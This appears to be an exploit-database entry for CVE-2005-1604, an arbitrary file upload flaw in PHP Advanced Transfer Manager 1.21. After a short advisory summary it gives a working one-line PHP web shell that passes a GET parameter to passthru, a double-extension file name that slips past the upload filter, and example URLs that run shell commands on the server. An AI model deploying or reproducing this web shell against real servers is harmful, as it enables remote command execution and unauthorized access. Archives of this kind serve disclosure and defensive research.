PHP Advanced Transfer Manager 1.21 - Arbitrary File Upload

Author: tjomi4
type: remote
platform: php
port: 
date_added: 2005-05-06 
date_updated: 2013-05-22 
verified: 1 
codes: CVE-2005-1604;OSVDB-16160 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/13542/info

PHP Advanced Transfer Manager is prone to a vulnerability regarding the uploading of arbitrary files.

If successfully exploited, an attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the affected server.

This issue reportedly affects PHP Advanced Transfer Manager version 1.21; earlier versions may also be vulnerable.

Create file:
nst.php.ns

<pre>
<?
passthru($_GET['nst']);
?>

Then upload, and go to http://www.example.com/files/nst.php.ns?nst=ls -la

or

<?
passthru($_GET['nst']);
?>

Then upload, and go to http://example.com/files/nst.php.ns?nst=http://your/file.txt